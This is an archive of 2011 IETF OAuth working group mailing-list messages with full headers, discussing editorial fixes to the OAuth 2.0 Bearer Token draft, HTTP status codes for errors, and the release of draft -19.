DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=es.net; h=date : subject : message-id : from : to : mime-version : content-type : content-transfer-encoding; s=es.net; bh=09YixcQj8ZFZ0RCiN5b4EWrKBV4t2YsAuCE7jX4V98M=; b=dw77dAGxfAJdlIr8wlCDLagNap7q9EOgNyQOgzT26GSFQUu5q5G4/k7GZbfb0pxDX4Gs fIKt+cD9ZNEb5F7VPI0s7GUOBo339iRe2+ajh5d4PWU6YGcw/fwz5bBE88ZqzW+DBpw1 7WLDrJp1eFMVK00VXi2+/D8cWfJJW6uPuqk= Received: from 2001:df8:0:32:be47:60ff:fefc:5817 ([IPv6:2001:df8:0:32:be47:60ff:fefc:5817]) (authenticated bits=0) by mailgw.es.net (8.14.5/8.14.5) with ESMTP id p6PEdbL5032593 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Mon, 25 Jul 2011 07:39:38 -0700 Date: Mon, 25 Jul 2011 10:37:23 -0400 Message-ID: From: Dhiva To: oauth@ietf.org MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.4.6813, 1.0.211, 0.0.0000 definitions=2011-07-25_04:2011-07-25, 2011-07-25, 1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0 ipscore=0 suspectscore=3 phishscore=0 bulkscore=0 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=6.0.2-1012030000 definitions=main-1107250104 Subject: [OAUTH-WG] pdf format documents are half cooked X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:11:42 -0000 Y2FuIHNvbWUgb25lIHZlcmlmeSBhbmQgcHVibGlzaCBwZGYgZm9ybWF0IGRvY3VtZW50cyBhZ2Fp bj8KQWxsIGVtcHR5IHBhZ2VzLCBzdGFydGluZyBmcm9tIDYgb3IgNyBwYWdlLgoKYWxsIHRoZSBh Y3RpdmUgZG9jdW1ldHMuCgpUaGFua3MKZGhpdmEKCg== From Michael.Jones@microsoft.com Mon Jul 25 09:12:50 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 1973211E81CC for ; Mon, 25 Jul 2011 09:12:50 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.478 X-Spam-Level: X-Spam-Status: No, score=-10.478 tagged_above=-999 required=5 tests=[AWL=0.121, BAYES_00=-2.599, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yAfVOS4YUELK for ; Mon, 25 Jul 2011 09:12:48 -0700 (PDT) Received: from smtp.microsoft.com (mailb.microsoft.com [131.107.115.215]) by ietfa.amsl.com (Postfix) with ESMTP id AC65A21F8D2E for ; Mon, 25 Jul 2011 08:02:45 -0700 (PDT) Received: from TK5EX14HUBC106.redmond.corp.microsoft.com (157.54.80.61) by TK5-EXGWY-E802.partners.extranet.microsoft.com (10.251.56.168) with Microsoft SMTP Server (TLS) id 8.2.176.0; Mon, 25 Jul 2011 08:02:44 -0700 Received: from TK5EX14MBXC207.redmond.corp.microsoft.com ([169.254.7.174]) by TK5EX14HUBC106.redmond.corp.microsoft.com ([157.54.80.61]) with mapi id 14.01.0323.002; Mon, 25 Jul 2011 08:02:44 -0700 From: Mike Jones To: Ian McKellar Thread-Topic: [OAUTH-WG] OAuth 2.0 Bearer Token Specification draft -06 Thread-Index: AcwxP+0eZ6OA/RCvSTCCsjpx71EG9wOOO3mAAthzYdA= Date: Mon, 25 Jul 2011 15:02:43 +0000 Message-ID: <4E1F6AAD24975D4BA5B168042967394349853DFE@TK5EX14MBXC207.redmond.corp.microsoft.com> References: <4E1F6AAD24975D4BA5B168042967394348D04A47@TK5EX14MBXC202.redmond.corp.microsoft.com> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.37] Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] OAuth 2.0 Bearer Token Specification draft -06 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:12:50 -0000 WW91J3JlIGNvcnJlY3QgYWJvdXQgdGhlIG1pc3NpbmcgY29tbWEuICBJJ2xsIHBsYW4gb24gdXBk YXRpbmcgdGhlIGRyYWZ0IHRoaXMgd2Vlay4NCg0KVG8geW91ciBzZWNvbmQgcXVlc3Rpb24sIHRo ZSBkZWZpbml0aW9uIG9mIHF1b3RlZC1zdHJpbmcgZG9lcyBhbGxvdyBmb3IgdW5xdW90ZWQgd2hp dGVzcGFjZSB3aXRoaW4gdGhlIHF1b3RlZCBzdHJpbmcuDQoNCgkJCQktLSBNaWtlDQoNCi0tLS0t T3JpZ2luYWwgTWVzc2FnZS0tLS0tDQpGcm9tOiBJYW4gTWNLZWxsYXIgW21haWx0bzppYW5AbWNr ZWxsYXIub3JnXSANClNlbnQ6IFN1bmRheSwgSnVseSAxMCwgMjAxMSAxOjE2IFBNDQpUbzogTWlr ZSBKb25lcw0KQ2M6IG9hdXRoQGlldGYub3JnDQpTdWJqZWN0OiBSZTogW09BVVRILVdHXSBPQXV0 aCAyLjAgQmVhcmVyIFRva2VuIFNwZWNpZmljYXRpb24gZHJhZnQgLTA2DQoNCkhpLA0KDQpJJ20g cmVhZGluZyB0aHJvdWdoIGRyYWZ0IDYgb2YgdGhlIGJlYXJlciB0b2tlbiBzcGVjIGFuZCBoYWQg YSBxdWVzdGlvbiBhYm91dCBvbmUgb2YgdGhlIGV4YW1wbGVzLiBJbiBzZWN0aW9uIDIuNCB0aGVy ZSdzIGFuIGVycm9yIHJlc3BvbnNlIGV4YW1wbGUgd2hlbiBhbiBleHBpcmVkIHRva2VuIGlzIHVz ZWQ6DQogICBIVFRQLzEuMSA0MDEgVW5hdXRob3JpemVkDQogICBXV1ctQXV0aGVudGljYXRlOiBC ZWFyZXIgcmVhbG09ImV4YW1wbGUiDQogICAgICAgICAgICAgICAgICAgICBlcnJvcj0iaW52YWxp ZF90b2tlbiIsDQogICAgICAgICAgICAgICAgICAgICBlcnJvcl9kZXNjcmlwdGlvbj0iVGhlIGFj Y2VzcyB0b2tlbiBleHBpcmVkIg0KDQpJIHRoaW5rIHRoZXJlIHNob3VsZCBiZSBhIGNvbW1hIGFm dGVyIHJlYWxtPSJleGFtcGxlIg0KDQpBbHNvLCBJIHdhc24ndCBzdXJlIGFib3V0IHNwYWNlcyBp biB0aGUgZXJyb3JfZGVzY3JpcHRpb24uIEknbSBkaWdnaW5nIHRocm91Z2ggcmVsYXRlZCBsaW5r ZWQgc3BlY3MgdG8gdHJ5IHRvIHdvcmsgb3V0IHdoYXQgYSBxdW90ZWQtc3RyaW5nIHNob3VsZCBh Y3R1YWxseSBsb29rIGxpa2UuIEFyZSBzcGFjZXMgYWxsb3dlZD8gU2hvdWxkIGNoYXJhY3RlcnMg YmUgYmFja3NsYXNoLXF1b3RlZCBvciBwZXJjZW50LXF1b3RlZD8NCg0KSWFuDQoNCk9uIFdlZCwg SnVuIDIyLCAyMDExIGF0IDg6NTMgUE0sIE1pa2UgSm9uZXMgPE1pY2hhZWwuSm9uZXNAbWljcm9z b2Z0LmNvbT4gd3JvdGU6DQo+IEnigJl2ZSBwdWJsaXNoZWQgZHJhZnQgMDYgb2YgdGhlIE9BdXRo IEJlYXJlciBUb2tlbiBTcGVjaWZpY2F0aW9uLsKgIEl0IA0KPiBjb250YWlucyB0aGUgZm9sbG93 aW5nIGNoYW5nZXM6DQo+DQo+IMK3wqDCoMKgwqDCoMKgwqDCoCBDaGFuZ2VkIHBhcmFtZXRlciBu YW1lIGJlYXJlcl90b2tlbiB0byBhY2Nlc3NfdG9rZW4sIHBlciANCj4gd29ya2luZyBncm91cCBj b25zZW5zdXMuDQo+DQo+IMK3wqDCoMKgwqDCoMKgwqDCoCBDaGFuZ2VkIEhUVFAgc3RhdHVzIGNv ZGUgZm9yIGludmFsaWRfcmVxdWVzdCBlcnJvciBjb2RlIGZyb20gDQo+IEhUVFANCj4gNDAxIChV bmF1dGhvcml6ZWQpIGJhY2sgdG8gSFRUUCA0MDAgKEJhZCBSZXF1ZXN0KSwgcGVyIGlucHV0IGZy b20gSFRUUCANCj4gd29ya2luZyBncm91cCBleHBlcnRzLg0KPg0KPg0KPg0KPiBJdCBkb2VzbuKA mXQgY2hhbmdlIHRoZSB1c2Ugb2YgNDAzIChGb3JiaWRkZW4pIHRvICg0MDEpIFVuYXV0aG9yaXpl ZCBhcyANCj4gaGFkIGJlZW4gZGlzY3Vzc2VkIGFzIGEgcG9zc2liaWxpdHksIGFsc28gZHVlIHRv IGlucHV0IGZyb20gdGhlIHNhbWUgDQo+IEhUVFAgd29ya2luZyBncm91cCBleHBlcnRzLg0KPg0K Pg0KPg0KPiBJIGJlbGlldmUgdGhhdCB0aGlzIGFkZHJlc3NlcyBhbGwgdGhlIGJlYXJlciB0b2tl biBzcGVjaWZpY2F0aW9uIA0KPiBpc3N1ZXMgYXJpc2luZyBmcm9tIHRoZSBpbnRlcmltIHdvcmtp bmcgZ3JvdXAgbWVldGluZyBhbmQgd29ya2luZyANCj4gZ3JvdXAgZGlzY3Vzc2lvbnMgc2luY2Ug dGhlbi4NCj4NCj4NCj4NCj4gVGhlIGRyYWZ0IGlzIGF2YWlsYWJsZSBhdCB0aGVzZSBsb2NhdGlv bnM6DQo+DQo+IMK3DQo+IGh0dHA6Ly93d3cuaWV0Zi5vcmcvaW50ZXJuZXQtZHJhZnRzL2RyYWZ0 LWlldGYtb2F1dGgtdjItYmVhcmVyLTA2LnBkZg0KPg0KPiDCtw0KPiBodHRwOi8vd3d3LmlldGYu b3JnL2ludGVybmV0LWRyYWZ0cy9kcmFmdC1pZXRmLW9hdXRoLXYyLWJlYXJlci0wNi50eHQNCj4N Cj4gwrcNCj4gaHR0cDovL3d3dy5pZXRmLm9yZy9pbnRlcm5ldC1kcmFmdHMvZHJhZnQtaWV0Zi1v YXV0aC12Mi1iZWFyZXItMDYueG1sDQo+DQo+IMK3wqDCoMKgwqDCoMKgwqDCoCANCj4gaHR0cDov L3NlbGYtaXNzdWVkLmluZm8vZG9jcy9kcmFmdC1pZXRmLW9hdXRoLXYyLWJlYXJlci0wNi5odG1s DQo+DQo+IMK3wqDCoMKgwqDCoMKgwqDCoCANCj4gaHR0cDovL3NlbGYtaXNzdWVkLmluZm8vZG9j cy9kcmFmdC1pZXRmLW9hdXRoLXYyLWJlYXJlci0wNi5wZGYNCj4NCj4gwrfCoMKgwqDCoMKgwqDC oMKgIA0KPiBodHRwOi8vc2VsZi1pc3N1ZWQuaW5mby9kb2NzL2RyYWZ0LWlldGYtb2F1dGgtdjIt YmVhcmVyLTA2LnR4dA0KPg0KPiDCt8KgwqDCoMKgwqDCoMKgwqAgDQo+IGh0dHA6Ly9zZWxmLWlz c3VlZC5pbmZvL2RvY3MvZHJhZnQtaWV0Zi1vYXV0aC12Mi1iZWFyZXItMDYueG1sDQo+DQo+IMK3 wqDCoMKgwqDCoMKgwqDCoCBodHRwOi8vc2VsZi1pc3N1ZWQuaW5mby9kb2NzL2RyYWZ0LWlldGYt b2F1dGgtdjItYmVhcmVyLmh0bWwgDQo+ICh3aWxsIHBvaW50IHRvIG5ldyB2ZXJzaW9ucyBhcyB0 aGV5IGFyZSBwb3N0ZWQpDQo+DQo+IMK3wqDCoMKgwqDCoMKgwqDCoCBodHRwOi8vc2VsZi1pc3N1 ZWQuaW5mby9kb2NzL2RyYWZ0LWlldGYtb2F1dGgtdjItYmVhcmVyLnBkZiANCj4gKHdpbGwgcG9p bnQgdG8gbmV3IHZlcnNpb25zIGFzIHRoZXkgYXJlIHBvc3RlZCkNCj4NCj4gwrfCoMKgwqDCoMKg wqDCoMKgIGh0dHA6Ly9zZWxmLWlzc3VlZC5pbmZvL2RvY3MvZHJhZnQtaWV0Zi1vYXV0aC12Mi1i ZWFyZXIudHh0IA0KPiAod2lsbCBwb2ludCB0byBuZXcgdmVyc2lvbnMgYXMgdGhleSBhcmUgcG9z dGVkKQ0KPg0KPiDCt8KgwqDCoMKgwqDCoMKgwqAgaHR0cDovL3NlbGYtaXNzdWVkLmluZm8vZG9j cy9kcmFmdC1pZXRmLW9hdXRoLXYyLWJlYXJlci54bWwgDQo+ICh3aWxsIHBvaW50IHRvIG5ldyB2 ZXJzaW9ucyBhcyB0aGV5IGFyZSBwb3N0ZWQpDQo+DQo+IMK3wqDCoMKgwqDCoMKgwqDCoCBodHRw Oi8vc3ZuLm9wZW5pZC5uZXQvcmVwb3Mvc3BlY2lmaWNhdGlvbnMvb2F1dGgvMi4wLyANCj4gKFN1 YnZlcnNpb24gcmVwb3NpdG9yeSwgd2l0aCBodG1sLCBwZGYsIHR4dCwgYW5kIGh0bWwgdmVyc2lv bnMgDQo+IGF2YWlsYWJsZSkNCj4NCj4NCj4NCj4gwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDC oMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg wqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgIC0tIA0KPiBNaWtlDQo+ DQo+DQo+DQo+IF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f DQo+IE9BdXRoIG1haWxpbmcgbGlzdA0KPiBPQXV0aEBpZXRmLm9yZw0KPiBodHRwczovL3d3dy5p ZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL29hdXRoDQo+DQo+DQoNCg0KDQotLQ0KSWFuIE1jS2Vs bGFywqAgPGh0dHA6Ly9pYW4ubWNrZWxsYXIub3JnLz4NCmlhbkBtY2tlbGxhci5vcmc6IGVtYWls IHwgamFiYmVyIHwgbXNuDQppYW5sb2ljOiBmbGlja3IgfCBhaW0gfCB5YWhvbyB8IHNreXBlIHwg bGlua2VkaW4gfCBldGMuDQoNCg== From eran@hueniverse.com Mon Jul 25 09:16:26 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 3851121F8C6C for ; Mon, 25 Jul 2011 09:16:26 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.552 X-Spam-Level: X-Spam-Status: No, score=-2.552 tagged_above=-999 required=5 tests=[AWL=0.047, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id JnqMRxZynF8I for ; Mon, 25 Jul 2011 09:16:25 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 6604321F8F6D for ; Mon, 25 Jul 2011 08:53:50 -0700 (PDT) Received: (qmail 22536 invoked from network); 25 Jul 2011 15:53:50 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 15:53:49 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 25 Jul 2011 08:53:41 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt Date: Mon, 25 Jul 2011 08:53:04 -0700 Thread-Topic: [OAUTH-WG] Comments on -18 Thread-Index: AcxK4M+O3pOGbj2FQH22FTCJT7kjTgAAbgIA Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F5755@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E274D61.4020804@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F378BE@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2D7C84.9080601@lodderstedt.net> In-Reply-To: <4E2D7C84.9080601@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Comments on -18 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:16:26 -0000 > -----Original Message----- > From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net] > Sent: Monday, July 25, 2011 7:24 AM > To: Eran Hammer-Lahav > Cc: OAuth WG > Subject: Re: [OAUTH-WG] Comments on -18 >=20 > Hi Eran, > >> section 5.2 > >> > >> "The authorization server MAY return an HTTP 401 > >> (Unauthorized) status code to indicate which HTTP > >> authentication schemes are supported." > >> > >> Given the usage of HTTP authentication schemes is the way to > >> authenticated client recommended by the spec, status code 401 should > >> be the default status code for this kind of error. Usage of status > >> code 400 should be the exception. > >> > >> "unauthorized_client" > >> > >> So above - status code 403 seems to be a more appropriate default. > > I think this is fine unchanged. >=20 > Can you please give a rationale? The current text keeps things simple by using a single error code 400, but = allowing/requiring the use of 401 when client authentication fails. Whether= this is the ideal use of HTTP status codes is open for debate, but even th= e HTTP experts informed us that we can use 400 for cases that might be more= accurately described by a 403. So I rather not change this at this point. EHL From eran@hueniverse.com Mon Jul 25 09:17:14 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A1A8B21F8B8C for ; Mon, 25 Jul 2011 09:17:14 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.552 X-Spam-Level: X-Spam-Status: No, score=-2.552 tagged_above=-999 required=5 tests=[AWL=0.046, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id m2yD1u7oTeOi for ; Mon, 25 Jul 2011 09:17:13 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 81C9021F8BF7 for ; Mon, 25 Jul 2011 09:11:05 -0700 (PDT) Received: (qmail 28895 invoked from network); 25 Jul 2011 16:11:05 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 16:11:05 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 25 Jul 2011 09:10:58 -0700 From: Eran Hammer-Lahav To: 'OAuth WG' Date: Mon, 25 Jul 2011 09:10:21 -0700 Thread-Topic: Draft -19 Thread-Index: AcxKoSoet0pnUU51RLinUDkuShpevgARCGjA Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F5772@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E723450245F5772P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Draft -19 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:17:14 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E723450245F5772P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable BTW, I'm planning on following -19 with -20 later today with text closing a= ll the remaining issues. EHL From: Eran Hammer-Lahav Sent: Monday, July 25, 2011 1:07 AM To: OAuth WG Subject: Draft -19 Draft 19 includes all the feedback received for -18: * Closes issues 15-19 * Moved client profiles to section 2.1 from 10 * New text for 'Code Injection and Input Validation' * A few minor editorial clarifications There are two open issues (20, 21) which are minor editorial requests, and = the request being discussed on the list to change the public/private client= type terminology to something else. I consider draft -19 to be ready for WGLC immediately. Thanks, EHL --_000_90C41DD21FB7C64BB94121FBBC2E723450245F5772P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

BTW, I’m planning on following -19 with -20 later today= with text closing all the remaining issues.

 

EHL

 

From: Eran Hammer-Lahav
Sen= t: Monday, July 25, 2011 1:07 AM
To: OAuth WG
Subject:<= /b> Draft -19

&n= bsp;

Draft 19 includes all the feedback recei= ved for -18:

 

* Closes issues 15-19

* M= oved client profiles to section 2.1 from 10

* New text for ‘Code Injection and Input Validation’

* A few minor editorial clarifications

 

There= are two open issues (20, 21) which are minor editorial requests, and the r= equest being discussed on the list to change the public/private client type= terminology to something else.

&nb= sp;

I consider draft -19 to be ready for WGLC= immediately.

 

Thanks,

 

EHL

 = ;

= --_000_90C41DD21FB7C64BB94121FBBC2E723450245F5772P3PW5EX1MB01E_-- From eran@hueniverse.com Mon Jul 25 09:17:17 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id AC2D121F8D3C for ; Mon, 25 Jul 2011 09:17:17 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.486 X-Spam-Level: X-Spam-Status: No, score=-2.486 tagged_above=-999 required=5 tests=[AWL=-0.022, BAYES_00=-2.599, HTML_MESSAGE=0.001, HTTP_ESCAPED_HOST=0.134] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 7cYWwrDackIX for ; Mon, 25 Jul 2011 09:17:16 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 5032221F8BB4 for ; Mon, 25 Jul 2011 08:54:52 -0700 (PDT) Received: (qmail 7064 invoked from network); 25 Jul 2011 15:54:52 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 15:54:52 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Mon, 25 Jul 2011 08:54:40 -0700 From: Eran Hammer-Lahav To: Mike Jones , OAuth WG Date: Mon, 25 Jul 2011 08:54:03 -0700 Thread-Topic: Draft -19 Thread-Index: AcxKoSoet0pnUU51RLinUDkuShpevgAM6+mwAAOJpaA= Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F5756@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E72345021F378BF@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E1F6AAD24975D4BA5B168042967394349852A91@TK5EX14MBXC207.redmond.corp.microsoft.com> In-Reply-To: <4E1F6AAD24975D4BA5B168042967394349852A91@TK5EX14MBXC207.redmond.corp.microsoft.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E723450245F5756P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Draft -19 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 16:17:17 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E723450245F5756P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Yeah, I'm not going to waste time trying to keep these in sync for now. Thi= s will all be done once before IETF LC and then with the RFC editor. EHL From: Mike Jones [mailto:Michael.Jones@microsoft.com] Sent: Monday, July 25, 2011 7:24 AM To: Eran Hammer-Lahav; OAuth WG Subject: RE: Draft -19 A few editorial points about references: - the draft is referencing an old draft of the bearer token spec (-04), r= ather than the current version (-06), - the draft is referencing an old draft of the SAML bearer spec (-03), r= ather than the current version (-04), - the draft is not referencing the assertions spec draft-ietf-oauth-asser= tions-00, which would make sense in Section 4.5 (Extensions) Also, the example in 4.5 should be updated to match the current SAML bearer= spec: grant_type=3Dhttp%3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F bearer&assertion=3DPEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24- Thanks, -- Mike From: oauth-bounces@ietf.org [mailto:oauth-b= ounces@ietf.org] On Behalf Of Eran = Hammer-Lahav Sent: Monday, July 25, 2011 1:07 AM To: OAuth WG Subject: [OAUTH-WG] Draft -19 Draft 19 includes all the feedback received for -18: * Closes issues 15-19 * Moved client profiles to section 2.1 from 10 * New text for 'Code Injection and Input Validation' * A few minor editorial clarifications There are two open issues (20, 21) which are minor editorial requests, and = the request being discussed on the list to change the public/private client= type terminology to something else. I consider draft -19 to be ready for WGLC immediately. Thanks, EHL --_000_90C41DD21FB7C64BB94121FBBC2E723450245F5756P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Yeah, I’m not going to waste time trying to keep these = in sync for now. This will all be done once before IETF LC and then with th= e RFC editor.

 

EHL

 

From: Mike Jones [mailto:Michael.Jones@microsoft.com]
Sen= t: Monday, July 25, 2011 7:24 AM
To: Eran Hammer-Lahav; OAuth= WG
Subject: RE: Draft -19

 

A few editorial points about references:

=

  - the draft is re= ferencing an old draft of the bearer token spec (-04), rather than the curr= ent version (-06),

  - the draft is referencing an old draft  of the= SAML bearer spec (-03), rather than the current version (-04),<= /span>

  - the d= raft is not referencing the assertions spec draft-ietf-oauth-assertions-00,= which would make sense in Section 4.5 (Extensions)

 

Also, the example in 4= .5 should be updated to match the current SAML bearer spec:

 <= /span>

   gr= ant_type=3Dhttp%3A%2F%2Foauth.net%2Fgrant_type%2Fsaml%2F2.0%2F

   bea= rer&assertion=3DPEFzc2VydGlvbiBJc3N1ZUluc3RhbnQ9IjIwMTEtMDUtM

   = [...omitted for brevity...]V0aG5TdGF0ZW1lbnQ-PC9Bc3NlcnRpb24-

 

  =             &nb= sp;            =             &nb= sp;            =         Thanks,

    &nb= sp;            =             &nb= sp;            =             &nb= sp;     -- Mike

 

=

From: oauth-bo= unces@ietf.org [mail= to:oauth-bounces@ietf.org] On Behalf Of Eran Hammer-Lahav
= Sent: Monday, July 25, 2011 1:07 AM
To: OAuth WG
Subjec= t: [OAUTH-WG] Draft -19

 

Draft 19 includes all the = feedback received for -18:

 

* Closes issues 15-19

* Moved client profiles to section 2.1 from 10

<= p class=3DMsoNormal>* New text for ‘Code Injection and Input Validati= on’

* A few minor editorial clarif= ications

 

There are two open issues (20, 21) which are minor editorial r= equests, and the request being discussed on the list to change the public/p= rivate client type terminology to something else.

 

I consider draft -19 to= be ready for WGLC immediately.

&nb= sp;

Thanks,

 

EHL

 

= --_000_90C41DD21FB7C64BB94121FBBC2E723450245F5756P3PW5EX1MB01E_-- From eran@hueniverse.com Mon Jul 25 09:17:22 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id ED15721F8D4A for ; Mon, 25 Jul 2011 09:17:22 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.553 X-Spam-Level: X-Spam-Status: No, score=-2.553 tagged_above=-999 required=5 tests=[AWL=0.046, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id AWNxKuAF00QK for ; Mon, 25 Jul 2011 09:17:22 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 382E521F8EE9 for ; Mon, 25 Jul 2011 08:39:36 -0700 (PDT) Received: (qmail 26082 invoked from network); 25 Jul 2011 15:39:35 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by 